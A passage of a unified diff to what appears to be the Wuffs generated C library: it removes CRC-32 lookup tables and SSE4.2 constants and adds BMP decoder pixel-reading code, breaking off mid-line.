3803048424, 1814228491, 2693328533, +- 2041117753, 3036871847, 999160644, 4146592730, 4259508931, 826864221, 3217552830, 1936586016, +- 3606501031, 442291769, 2496909786, 1484378436, 1388107869, 2652297411, 278519584, 3694387134, +- 85183762, 3384397196, 1194773103, 2342308593, 2170143720, 1307820918, 3279733909, 265733131, +- 2057717559, 3054258089, 948125770, 4096344276, 4276898253, 843467091, 3167309488, 1885556270, +- 2839764098, 1709792284, 3949353983, 667704161, 755585656, 3785577190, 1865176325, 2743489947, +- 102594076, 3401021058, 1144549729, 2291298815, 2186770662, 1325234296, 3228729243, 215514885, +- 3589828009, 424832311, 2547870420, 1534552650, 1370645331, 2635621325, 328688686, 3745342640, +- 2211456353, 1333405183, 3254067740, 224338562, 127544219, 3408931589, 1170156774, 2299866232, +- 1345666772, 2627681866, 303053225, 3736746295, 3565105198, 416624816, 2522494803, 1525692365, +- 4285207626, 868291796, 3176010551, 1910772649, 2065767088, 3079346734, 956571085, 4121828691, +- 747507711, 3760459617, 1856702594, 2717976604, 2831417605, 1684930971, 3940615800, 642451174, +- }, +- { +- 0, 393942083, 787884166, 965557445, 1575768332, 1251427663, 1931114890, 1684106697, +- 3151536664, 2896410203, 2502855326, 2186649309, 3862229780, 4048545623, 3368213394, 3753496529, +- 2898281073, 3149616690, 2184604407, 2504883892, 4046197629, 3864463166, 3755621371, 3366006712, +- 387506281, 6550570, 971950319, 781573292, 1257550181, 1569695014, 1677892067, 1937345952, +- 2196865699, 2508887776, 2886183461, 3145514598, 3743273903, 3362179052, 4058774313, 3868258154, +- 958996667, 777139448, 400492605, 10755198, 1690661303, 1941857780, 1244879153, 1565019506, +- 775012562, 961205393, 13101140, 398261271, 1943900638, 1688634781, 1563146584, 1246801179, +- 2515100362, 2190636681, 3139390028, 2892258831, 3355784134, 3749586821, 3874691904, 4052225795, +- 3734110983, 3387496260, 4033096577, 3877584834, 2206093835, 2483373640, 2911402637, 3136515790, +- 1699389727, 1915860316, 1270647193, 1556585946, 950464531, 803071056, 374397077, 19647702, +- 1917993334, 1697207605, 1554278896, 1272937907, 800985210, 952435769, 21510396, 372452543, +- 3381322606, 3740399405, 3883715560, 4027047851, 2489758306, 2199758369, 3130039012, 2917895847, +- 1550025124, 1259902439, 1922410786, 1710144865, 26202280, 385139947, 796522542, 939715693, +- 3887801276, 4039129087, 3377269562, 3728088953, 3126293168, 2905368307, 2493602358, 2212122229, +- 4037264341, 3889747862, 3730172755, 3375300368, 2907673305, 3124004506, 2209987167, 2495786524, +- 1266377165, 1543533966, 1703758155, 1928748296, 379007169, 32253058, 945887303, 790236164, +- 1716846671, 1898845196, 1218652361, 1608006794, 1002000707, 750929152, 357530053, 36990342, +- 3717046871, 3405166100, 4084959953, 3825245842, 2153902939, 2535122712, 2929187805, 3119304606, +- 3398779454, 3723384445, 3831720632, 4078468859, 2541294386, 2147616625, 3113171892, 2935238647, +- 1900929062, 1714877541, 1606142112, 1220599011, 748794154, 1004184937, 39295404, 355241455, +- 3835986668, 4091516591, 3394415210, 3710500393, 3108557792, 2922629027, 2545875814, 2160455461, +- 1601970420, 1208431799, 1904871538, 1727077425, 43020792, 367748539, 744905086, 991776061, +- 1214562461, 1595921630, 1720903707, 1911159896, 361271697, 49513938, 998160663, 738569556, +- 4089209477, 3838277318, 3712633347, 3392233024, 2924491657, 3106613194, 2158369551, 2547846988, +- 3100050248, 2948339467, 2519804878, 2169126797, 3844821572, 4065347079, 3420289730, 3701894785, +- 52404560, 342144275, 770279894, 982687125, 1593045084, 1233708063, 1879431386, 1736363161, +- 336019769, 58479994, 988899775, 764050940, 1240141877, 1586496630, 1729968307, 1885744368, +- 2950685473, 3097818978, 2166999975, 2522013668, 4063474221, 3846743662, 3703937707, 3418263272, +- 976650731, 760059304, 348170605, 62635310, 1742393575, 1889649828, 1227683937, 1582820386, +- 2179867635, 2526361520, 2937588597, 3093503798, 3691148031, 3413731004, 4076100217, 3851374138, +- 2532754330, 2173556697, 3087067932, 2944139103, 3407516310, 3697379029, 3857496592, 4070026835, +- 758014338, 978679233, 64506116, 346250567, 1891774606, 1740186829, 1580472328, 1229917259, +- }, { +- 0, 4022496062, 83218493, 3946298115, 166436986, 3861498692, 220098631, 3806075769, +- 332873972, 4229245898, 388141257, 4175494135, 440197262, 4127099824, 516501683, 4044053389, +- 665747944, 3362581206, 593187285, 3432594155, 776282514, 3246869164, 716239279, 3312622225, +- 880394524, 3686509090, 814485793, 3746462239, 1033003366, 3528460888, 963096923, 3601193573, +- 1331495888, 2694801646, 1269355501, 2758457555, 1186374570, 2843003028, 1111716759, 2910918825, +- 1552565028, 3007850522, 1484755737, 3082680359, 1432478558, 3131279456, 1368666979, 3193329757, +- 1760789048, 2268195078, 1812353541, 2210675003, 1628971586, 2396670332, 1710092927, 2318375233, +- 2066006732, 2498144754, 2144408305, 2417195471, 1926193846, 2634877320, 1983558283, 2583222709, +- 2662991776, 1903717534, 2588923805, 1972223139, 2538711002, 2022952164, 2477029351, 2087066841, +- 2372749140, 1655647338, 2308478825, 1717238871, 2223433518, 1799654416, 2155034387, 1873894445, +- 3105130056, 1456926070, 3185661557, 1378041163, 2969511474, 1597852940, 3020617231, 1539874097, +- 2864957116, 1157737858, 2922780289, 1106542015, 2737333958, 1290407416, 2816325371, 1210047941, +- 3521578096, 1042640718, 3574781005, 986759027, 3624707082, 936300340, 3707335735, 859512585, +- 3257943172, 770846650, 3334837433, 688390023, 3420185854, 605654976, 3475911875, 552361981, +- 4132013464, 428600998, 4072428965, 494812827, 4288816610, 274747100, 4216845791, 345349857, +- 3852387692, 173846098, 3781891409, 245988975, 3967116566, 62328360, 3900749099, 121822741, +- 3859089665, 164061759, 3807435068, 221426178, 4025395579, 2933317, 3944446278, 81334904, +- 4124199413, 437265099, 4045904328, 518386422, 4231653775, 335250097, 4174133682, 386814604, +- 3249244393, 778691543, 3311294676, 714879978, 3359647891, 662848429, 3434477742, 595039120, +- 3531393053, 1035903779, 3599308832, 961245982, 3684132967, 877986649, 3747788890, 815846244, +- 2841119441, 1184522735, 2913852140, 1114616274, 2696129195, 1332855189, 2756082326, 1266946472, +- 3129952805, 1431118107, 3195705880, 1371074854, 3009735263, 1554415969, 3079748194, 1481855324, +- 2398522169, 1630855175, 2315475716, 1707159610, 2266835779, 1759461501, 2213084030, 1814728768, +- 2636237773, 1927520499, 2580814832, 1981182158, 2496293815, 2064121993, 2420095882, 2147340468, +- 2025787041, 2541577631, 2085281436, 2475210146, 1901375195, 2660681189, 1973518054, 2590184920, +- 1801997909, 2225743211, 1872600680, 2153772374, 1652813359, 2369881361, 1719025170, 2310296876, +- 1594986313, 2966676599, 1541693300, 3022402634, 1459236659, 3107472397, 1376780046, 3184366640, +- 1288097725, 2734990467, 1211309952, 2817619134, 1160605639, 2867791097, 1104723962, 2920993988, +- 937561457, 3626001999, 857201996, 3704993394, 1040821515, 3519792693, 989625654, 3577615880, +- 607473029, 3421972155, 549494200, 3473077894, 769584639, 3256649409, 690699714, 3337180924, +- 273452185, 4287555495, 347692196, 4219156378, 430386403, 4133832669, 491977950, 4069562336, +- 60542061, 3965298515, 124656720, 3903616878, 175139863, 3853649705, 243645482, 3779581716, +- }, { +- 0, 3247366080, 1483520449, 2581751297, 2967040898, 1901571138, 3904227907, 691737987, +- 3133399365, 2068659845, 3803142276, 589399876, 169513671, 3415493895, 1383475974, 2482566342, +- 2935407819, 1870142219, 4137319690, 924099274, 506443593, 3751897225, 1178799752, 2278412616, +- 339027342, 3585866318, 1280941135, 2379694991, 2766951948, 1700956620, 4236308429, 1024339981, +- 2258407383, 1192382487, 3740284438, 528411094, 910556245, 4157285269, 1848198548, 2946996820, +- 1012887186, 4258378066, 1681119059, 2780629139, 2357599504, 1292419792, 3572147409, 358906641, +- 678054684, 3924071644, 1879503581, 2978491677, 2561882270, 1497229150, 3235873119, 22109855, +- 2460592729, 1395094937, 3401913240, 189516888, 577821147, 3825075739, 2048679962, 3146956762, +- 3595049455, 398902831, 2384764974, 1336573934, 1720805997, 2803873197, 1056822188, 4285729900, +- 1821112490, 2902796138, 887570795, 4117339819, 3696397096, 500978920, 2218668777, 1169222953, +- 2025774372, 3106931428, 550659301, 3780950821, 3362238118, 166293862, 2416645991, 1367722151, +- 3262987361, 66315169, 2584839584, 1537170016, 1923370979, 3005911075, 717813282, 3947244002, +- 1356109368, 2438613496, 146288633, 3375820857, 3759007162, 562248314, 3093388411, 2045739963, +- 3927406461, 731490493, 2994458300, 1945440636, 1523451135, 2604718911, 44219710, 3274466046, +- 4263662323, 1068272947, 2790189874, 1740649714, 1325080945, 2406874801, 379033776, 3608758128, +- 1155642294, 2238671990, 479005303, 3708016055, 4097359924, 901128180, 2891217397, 1843045941, +- 2011248031, 3060787807, 797805662, 3993195422, 3342353949, 112630237, 2673147868, 1591353372, +- 3441611994, 212601626, 2504944923, 1421914843, 2113644376, 3161815192, 630660761, 3826893145, +- 3642224980, 412692116, 2172340373, 1089836885, 1775141590, 2822790422, 832715543, 4029474007, +- 1674842129, 2723860433, 1001957840, 4197873168, 3540870035, 310623315, 2338445906, 1257178514, +- 4051548744, 821257608, 2836464521, 1755307081, 1101318602, 2150241802, 432566283, 3628511179, +- 1270766349, 2318435533, 332587724, 3529260300, 4217841807, 988411727, 2735444302, 1652903566, +- 1602977411, 2651169091, 132630338, 3328776322, 4015131905, 786223809, 3074340032, 1991273216, +- 3846741958, 616972294, 3173262855, 2091579847, 1435626564, 2485072772, 234706309, 3430124101, +- 2712218736, 1613231024, 4190475697, 944458353, 292577266, 3506339890, 1226630707, 2291284467, +- 459984181, 3672380149, 1124496628, 2189994804, 2880683703, 1782407543, 4091479926, 844224694, +- 257943739, 3469817723, 1462980986, 2529005242, 3213269817, 2114471161, 3890881272, 644152632, +- 3046902270, 1947391550, 3991973951, 746483711, 88439420, 3301680572, 1563018173, 2628197501, +- 657826727, 3871046759, 2136545894, 3201811878, 2548879397, 1449267173, 3481299428, 235845156, +- 2650161890, 1551408418, 3315268387, 68429027, 758067552, 3970035360, 1967360161, 3033356129, +- 2311284588, 1213053100, 3517963949, 270598509, 958010606, 4170500910, 1635167535, 2700636911, +- 855672361, 4069415401, 1802256360, 2866995240, 2212099499, 1113008747, 3686091882, 440112042, +- }, { +- 0, 2611301487, 3963330207, 2006897392, 50740095, 2560849680, 4013794784, 1956178319, +- 101480190, 2645113489, 3929532513, 1905435662, 84561281, 2662269422, 3912356638, 1922342769, +- 202960380, 2545787283, 3760419683, 2072395532, 253679235, 2495322860, 3810871324, 2021655667, +- 169122562, 2444351341, 3861841309, 2106214898, 152215677, 2461527058, 3844685538, 2123133581, +- 405920760, 2207553431, 4094313831, 1873742088, 456646791, 2157096168, 4144791064, 1823027831, +- 507358470, 2241388905, 4060492697, 1772322806, 490444409, 2258557462, 4043311334, 1789215881, +- 338245124, 2408348267, 4161972379, 1672996084, 388959611, 2357870868, 4212429796, 1622269835, +- 304431354, 2306870421, 4263435877, 1706791434, 287538053, 2324051946, 4246267162, 1723705717, +- 811841520, 2881944479, 3696765295, 1207788800, 862293135, 2831204576, 3747484176, 1157324415, +- 913293582, 2915732833, 3662962577, 1106318334, 896137841, 2932651550, 3646055662, 1123494017, +- 1014716940, 2816349795, 3493905555, 1273334012, 1065181555, 2765630748, 3544645612, 1222882179, +- 980888818, 2714919069, 3595350637, 1307180546, 963712909, 2731826146, 3578431762, 1324336509, +- 676490248, 3019317351, 3295277719, 1607253752, 726947703, 2968591128, 3345992168, 1556776327, +- 777919222, 3053147801, 3261432937, 1505806342, 760750473, 3070062054, 3244539670, 1522987897, +- 608862708, 3220163995, 3362856811, 1406423812, 659339915, 3169449700, 3413582868, 1355966587, +- 575076106, 3118709605, 3464325525, 1440228858, 557894773, 3135602714, 3447411434, 1457397381, +- 1623683040, 4217512847, 2365387135, 391757072, 1673614495, 4167309552, 2415577600, 341804655, +- 1724586270, 4251866481, 2331019137, 290835438, 1707942497, 4268256782, 2314648830, 307490961, +- 1826587164, 4152020595, 2162433155, 457265388, 1876539747, 4101829900, 2212636668, 407333779, +- 1792275682, 4051089549, 2263378557, 491595282, 1775619997, 4067460082, 2246988034, 508239213, +- 2029433880, 3813931127, 2496473735, 258500328, 2079362919, 3763716872, 2546668024, 208559511, +- 2130363110, 3848244873, 2462145657, 157552662, 2113730969, 3864638966, 2445764358, 174205801, +- 1961777636, 4014675339, 2564147067, 57707284, 2011718299, 3964481268, 2614361092, 7778411, +- 1927425818, 3913769845, 2665066885, 92077546, 1910772837, 3930150922, 2648673018, 108709525, +- 1352980496, 3405878399, 3164554895, 658115296, 1403183983, 3355946752, 3214507504, 607924639, +- 1453895406, 3440239233, 3130208369, 557218846, 1437504913, 3456883198, 3113552654, 573589345, +- 1555838444, 3340335491, 2961681267, 723707676, 1606028947, 3290383100, 3011612684, 673504355, +- 1521500946, 3239382909, 3062619533, 758026722, 1505130605, 3256038402, 3045975794, 774417053, +- 1217725416, 3543158663, 2762906999, 1057739032, 1267939479, 3493229816, 2812847624, 1007544935, +- 1318679830, 3577493881, 2728586121, 956803046, 1302285929, 3594125830, 2711933174, 973184153, +- 1150152212, 3743982203, 2830528651, 856898788, 1200346475, 3694041348, 2880457716, 806684571, +- 1115789546, 3643069573, 2931426933, 891243034, 1099408277, 3659722746, 2914794762, 907637093, +- }, { +- 0, 3717650821, 1616688459, 3184159950, 3233376918, 489665299, 2699419613, 2104690264, +- 1510200173, 2274691816, 979330598, 3888758691, 2595928571, 1194090622, 4209380528, 661706037, +- 3020400346, 1771143007, 3562738577, 164481556, 1958661196, 2837976521, 350386439, 3379863682, +- 3993269687, 865250354, 2388181244, 1406015865, 784146209, 4079732388, 1323412074, 2474079215, +- 3011398645, 1860735600, 3542286014, 246687547, 1942430051, 2924607718, 328963112, 3456978349, +- 3917322392, 887832861, 2300653011, 1421341782, 700772878, 4099025803, 1234716485, 2483986112, +- 125431087, 3673109674, 1730500708, 3132326369, 3351283641, 441867836, 2812031730, 2047535991, +- 1568292418, 2163009479, 1025936137, 3769651852, 2646824148, 1079348561, 4255113631, 537475098, +- 3180171691, 1612400686, 3721471200, 4717925, 2100624189, 2694980280, 493375094, 3237910515, +- 3884860102, 974691139, 2278750093, 1514417672, 657926224, 4204917205, 1198234907, 2600289438, +- 160053105, 3558665972, 1775665722, 3024116671, 3375586791, 346391650, 2842683564, 1962488105, +- 1401545756, 2384412057, 869618007, 3997403346, 2469432970, 1319524111, 4083956673, 788193860, +- 250862174, 3546612699, 1856990997, 3006903952, 3461001416, 333211981, 2920678787, 1937824774, +- 1425017139, 2305216694, 883735672, 3912918525, 2487837605, 1239398944, 4095071982, 696455019, +- 3136584836, 1734518017, 3668494799, 121507914, 2051872274, 2816200599, 437363545, 3347544796, +- 3774328809, 1029797484, 2158697122, 1564328743, 542033279, 4258798842, 1074950196, 2642717105, +- 2691310871, 2113731730, 3224801372, 497043929, 1624461185, 3175454212, 9435850, 3709412175, +- 4201248378, 671035391, 2587181873, 1201904308, 986750188, 3880142185, 1519135143, 2266689570, +- 342721485, 3388693064, 1949382278, 2846355203, 3570723163, 155332830, 3028835344, 1763607957, +- 1315852448, 2482538789, 775087595, 4087626862, 2396469814, 1396827059, 4002123645, 857560824, +- 320106210, 3464673127, 1934154665, 2933785132, 3551331444, 238804465, 3018961215, 1852270778, +- 1226292623, 2491507722, 692783300, 4108177729, 2309936921, 1412959900, 3924976210, 879016919, +- 2803091512, 2055541181, 3343875443, 450471158, 1739236014, 3124525867, 133568485, 3663777376, +- 4245691221, 545702608, 2639048222, 1088059291, 1034514883, 3762268230, 1576387720, 2153979149, +- 501724348, 3228659001, 2109407735, 2687359090, 3713981994, 13109167, 3171052385, 1620357860, +- 1206151121, 2591211092, 666423962, 4197321503, 2271022407, 1523307714, 3875649548, 982999433, +- 2850034278, 1953942499, 3384583981, 338329256, 1767471344, 3033506165, 151375291, 3566408766, +- 4091789579, 779425934, 2478797888, 1311354309, 861580189, 4006375960, 1392910038, 2391852883, +- 2929327945, 1930372812, 3469036034, 324244359, 1847629279, 3015068762, 243015828, 3555391761, +- 4103744548, 688715169, 2496043375, 1229996266, 874727090, 3920994103, 1417671673, 2313759356, +- 446585235, 3339223062, 2059594968, 2807313757, 3660002053, 129100416, 3128657486, 1743609803, +- 1084066558, 2634765179, 549535669, 4250396208, 2149900392, 1571961325, 3765982499, 1039043750, +- }, { +- 0, 2635063670, 3782132909, 2086741467, 430739227, 2225303149, 4173482934, 1707977408, +- 861478454, 2924937024, 3526875803, 1329085421, 720736557, 3086643291, 3415954816, 1452586230, +- 1722956908, 4223524122, 2279405761, 450042295, 2132718455, 3792785921, 2658170842, 58693292, +- 1441473114, 3370435372, 3028674295, 696911745, 1279765825, 3511176247, 2905172460, 807831706, +- 3445913816, 1349228974, 738901109, 2969918723, 3569940419, 1237784245, 900084590, 2829701656, +- 4265436910, 1664255896, 525574723, 2187084597, 3885099509, 2057177219, 117386584, 2616249390, +- 2882946228, 920233410, 1253605401, 3619119471, 2994391983, 796207833, 1393823490, 3457937012, +- 2559531650, 92322804, 2044829231, 3840835417, 2166609305, 472659183, 1615663412, 4249022530, +- 1102706673, 3702920839, 2698457948, 1037619754, 1477802218, 3306854812, 3111894087, 611605809, +- 1927342535, 4025419953, 2475568490, 243387420, 1800169180, 4131620778, 2317525617, 388842247, +- 655084445, 3120835307, 3328511792, 1533734470, 1051149446, 2745738736, 3754524715, 1120297309, +- 340972971, 2304586973, 4114354438, 1748234352, 234773168, 2431761350, 3968900637, 1906278251, +- 2363330345, 299003487, 1840466820, 4038896370, 2507210802, 142532932, 1948239007, 3910149609, +- 3213136159, 579563625, 1592415666, 3286611140, 2787646980, 992477042, 1195825833, 3662232543, +- 3933188933, 2002801203, 184645608, 2517538462, 4089658462, 1858919720, 313391347, 2409765253, +- 3644239219, 1144605701, 945318366, 2773977256, 3231326824, 1570095902, 569697989, 3170568115, +- 2205413346, 511446676, 1646078799, 4279421497, 2598330617, 131105167, 2075239508, 3871229218, +- 2955604436, 757403810, 1363424633, 3427521551, 2844163791, 881434553, 1223211618, 3588709140, +- 3854685070, 2026779384, 78583587, 2577462869, 4235025557, 1633861091, 486774840, 2148301134, +- 3600338360, 1268198606, 938871061, 2868504675, 3476308643, 1379640277, 777684494, 3008718712, +- 1310168890, 3541595724, 2943964055, 846639841, 1471879201, 3400857943, 3067468940, 735723002, +- 2102298892, 3762382970, 2619362721, 19901655, 1692534295, 4193118049, 2240594618, 411247564, +- 681945942, 3047836192, 3385552891, 1422167693, 822682701, 2886124859, 3496468704, 1298661782, +- 469546336, 2264093718, 4203901389, 1738379451, 38812283, 2673859341, 3812556502, 2117148576, +- 3268024339, 1606809957, 598006974, 3198893512, 3680933640, 1181316734, 973624229, 2802299603, +- 4052944421, 1822222163, 285065864, 2381456382, 3896478014, 1966106696, 156323219, 2489232613, +- 2759337087, 964150537, 1159127250, 3625517476, 3184831332, 551242258, 1555722185, 3249901247, +- 2535537225, 170842943, 1984954084, 3946848146, 2391651666, 327308324, 1877176831, 4075589769, +- 263086283, 2460058045, 4005602406, 1942963472, 369291216, 2332888742, 4151061373, 1784924683, +- 1022852861, 2717425547, 3717839440, 1083595558, 626782694, 3092517008, 3291821387, 1497027645, +- 1763466407, 4094934481, 2289211402, 360544636, 1890636732, 3988730570, 2447251217, 215086695, +- 1514488465, 3343557607, 3140191804, 639919946, 1139395978, 3739626748, 2726758695, 1065936977, +- }, { +- 0, 3120290792, 2827399569, 293431929, 2323408227, 864534155, 586863858, 2600537882, +- 3481914503, 1987188591, 1729068310, 3740575486, 1173727716, 4228805132, 3983743093, 1418249117, +- 1147313999, 4254680231, 3974377182, 1428157750, 3458136620, 2011505092, 1721256893, 3747844181, +- 2347455432, 839944224, 594403929, 2593536433, 26687147, 3094146371, 2836498234, 283794642, +- 2294627998, 826205558, 541298447, 2578994407, 45702141, 3141697557, 2856315500, 331624836, +- 1196225049, 4273416689, 4023010184, 1446090848, 3442513786, 1959480466, 1706436331, 3696098563, +- 3433538001, 1968994873, 1679888448, 3722103720, 1188807858, 4280295258, 3999102243, 1470541515, +- 53374294, 3134568126, 2879970503, 307431215, 2303854645, 816436189, 567589284, 2553242188, +- 3405478781, 1929420949, 1652411116, 3682996484, 1082596894, 4185703926, 3892424591, 1375368295, +- 91404282, 3163122706, 2918450795, 336584067, 2400113305, 922028401, 663249672, 2658384096, +- 2392450098, 929185754, 639587747, 2682555979, 82149713, 3172883129, 2892181696, 362343208, +- 1091578037, 4176212829, 3918960932, 1349337804, 3412872662, 1922537022, 1676344391, 3658557359, +- 1111377379, 4224032267, 3937989746, 1396912026, 3359776896, 1908013928, 1623494929, 3644803833, +- 2377615716, 877417100, 623982837, 2630542109, 130804743, 3190831087, 2941083030, 381060734, +- 106748588, 3215393092, 2933549885, 388083925, 2350956495, 903570471, 614862430, 2640172470, +- 3386185259, 1882115523, 1632872378, 3634920530, 1135178568, 4199721120, 3945775833, 1389631793, +- 1317531835, 4152109907, 3858841898, 1610259138, 3304822232, 2097172016, 1820140617, 3582394273, +- 2165193788, 955639764, 696815021, 2423477829, 192043359, 2995356343, 2750736590, 437203750, +- 182808564, 3005133852, 2724453989, 462947725, 2157513367, 962777471, 673168134, 2447663342, +- 3312231283, 2090301595, 1844056802, 3557935370, 1326499344, 4142603768, 3885397889, 1584245865, +- 3326266917, 2142836173, 1858371508, 3611272284, 1279175494, 4123357358, 3837270743, 1564721471, +- 164299426, 2955991370, 2706223923, 414607579, 2209834945, 978107433, 724686416, 2462715320, +- 2183156074, 1004243586, 715579643, 2472360723, 140260361, 2980573153, 2698675608, 421617264, +- 1302961645, 4099032581, 3845074044, 1557460884, 3352688782, 2116952934, 1867729183, 3601371895, +- 2222754758, 1032278062, 754596439, 2499928511, 234942117, 3086693709, 2793824052, 528319708, +- 1274365761, 4061043881, 3816027856, 1518873912, 3246989858, 2020800970, 1762628531, 3505670235, +- 3223196809, 2045103969, 1754834200, 3512958704, 1247965674, 4086934018, 3806642299, 1528765331, +- 261609486, 3060532198, 2802936223, 518697591, 2246819181, 1007707781, 762121468, 2492913428, +- 213497176, 3041029808, 2755593417, 499441441, 2261110843, 1061030867, 776167850, 2545465922, +- 3274734047, 2060165687, 1807140942, 3528266662, 1229724860, 4038575956, 3788156205, 1479636677, +- 1222322711, 4045468159, 3764231046, 1504067694, 3265744756, 2069664924, 1780612837, 3554288909, +- 2270357136, 1051278712, 802445057, 2519698665, 221152243, 3033880603, 2779263586, 475261322, +- }, { +- 0, 2926088593, 2275419491, 701019378, 3560000647, 2052709654, 1402038756, 4261017717, +- 1930665807, 3715829470, 4105419308, 1524313021, 2804077512, 155861593, 545453739, 2397726522, +- 3861331614, 1213181711, 1636244477, 3488582252, 840331801, 2625561480, 3048626042, 467584747, +- 2503254481, 995897408, 311723186, 3170637091, 1090907478, 4016929991, 3332753461, 1758288292, +- 390036349, 3109546732, 2426363422, 1056427919, 3272488954, 1835443819, 1152258713, 3938878216, +- 1680663602, 3393484195, 3817652561, 1306808512, 2954733749, 510998820, 935169494, 2580880455, +- 4044899811, 1601229938, 1991794816, 3637571857, 623446372, 2336332021, 2726898695, 216120726, +- 2181814956, 744704829, 95158223, 2881711710, 1446680107, 4166125498, 3516576584, 2146575065, +- 780072698, 2148951915, 2849952665, 129384968, 4199529085, 1411853292, 2112855838, 3548843663, +- 1567451573, 4077254692, 3670887638, 1957027143, 2304517426, 657765539, 251396177, 2694091200, +- 3361327204, 1714510325, 1341779207, 3784408214, 476611811, 2986349938, 2613617024, 899690513, +- 3142211371, 354600634, 1021997640, 2458051545, 1870338988, 3239283261, 3906682575, 1186180958, +- 960597383, 2536053782, 3202459876, 277428597, 3983589632, 1125666961, 1792074851, 3300423154, +- 1246892744, 3829039961, 3455203243, 1671079482, 2657312335, 806080478, 432241452, 3081497277, +- 3748049689, 1896751752, 1489409658, 4138600427, 190316446, 2772397583, 2365053693, 580864876, +- 2893360214, 35503559, 735381813, 2243795108, 2017747153, 3593269568, 4293150130, 1368183843, +- 1560145396, 4069882981, 3680356503, 1966430470, 2295112051, 648294626, 258769936, 2701399425, +- 804156091, 2173100842, 2823706584, 103204425, 4225711676, 1438101421, 2088704863, 3524758222, +- 3134903146, 347226875, 1031468553, 2467456920, 1860935661, 3229814396, 3914054286, 1193487135, +- 3385412645, 1738661300, 1315531078, 3758225623, 502792354, 3012596019, 2589468097, 875607120, +- 1271043721, 3853125400, 3429020650, 1644831355, 2683558414, 832261023, 408158061, 3057348348, +- 953223622, 2528745559, 3211865253, 286899508, 3974120769, 1116263632, 1799381026, 3307794867, +- 2917509143, 59586950, 709201268, 2217549029, 2043995280, 3619452161, 4269064691, 1344032866, +- 3740677976, 1889445577, 1498812987, 4148069290, 180845535, 2762992206, 2372361916, 588238637, +- 1921194766, 3706423967, 4112727661, 1531686908, 2796705673, 148555288, 554857194, 2407195515, +- 26248257, 2952271312, 2251333922, 676868275, 3584149702, 2076793175, 1375858085, 4234771508, +- 2493785488, 986493953, 319029491, 3178008930, 1083533591, 4009621638, 3342158964, 1767759333, +- 3887577823, 1239362382, 1612160956, 3464433197, 864482904, 2649647049, 3022443323, 441336490, +- 1706844275, 3419730402, 3793503504, 1282724993, 2978819316, 535149925, 908921239, 2554697734, +- 380632892, 3100077741, 2433735263, 1063734222, 3265180603, 1828069930, 1161729752, 3948283721, +- 2207997677, 770953084, 71007118, 2857626143, 1470763626, 4190274555, 3490330377, 2120394392, +- 4035494306, 1591758899, 1999168705, 3644880208, 616140069, 2328960180, 2736367686, 225524183, +- }, +-}; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_K1K2[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 212, 43, 68, 84, 1, 0, 0, 0, +- 150, 21, 228, 198, 1, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_K3K4[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 208, 151, 25, 117, 1, 0, 0, 0, +- 158, 0, 170, 204, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 36, 97, 205, 99, 1, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_CRC32__IEEE_X86_SSE42_PXMU[16] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 65, 6, 113, 219, 1, 0, 0, 0, +- 65, 22, 1, 247, 1, 0, 0, 0, +-}; +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x); ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ label__outer__continue:; ++ while (true) { ++ while (self->private_impl.f_pending_pad > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; ++ } ++ self->private_impl.f_pending_pad -= 1u; ++ iop_a_src += 1u; ++ } ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ if (self->private_impl.f_height > 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; ++ } ++ goto label__outer__break; ++ } else if (self->private_impl.f_pad_per_row != 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; ++ goto label__outer__continue; ++ } ++ } ++ v_p1_temp = ((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x)); ++ v_p1 = wuffs_base__u32__min(v_p1_temp, 256u); ++ v_p0 = 0u; ++ while (v_p0 < v_p1) { ++ if (self->private_impl.f_bits_per_pixel == 16u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ break; ++ } ++ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ break; ++ } ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4u; ++ } ++ v_channel = 0u; ++ while (v_channel 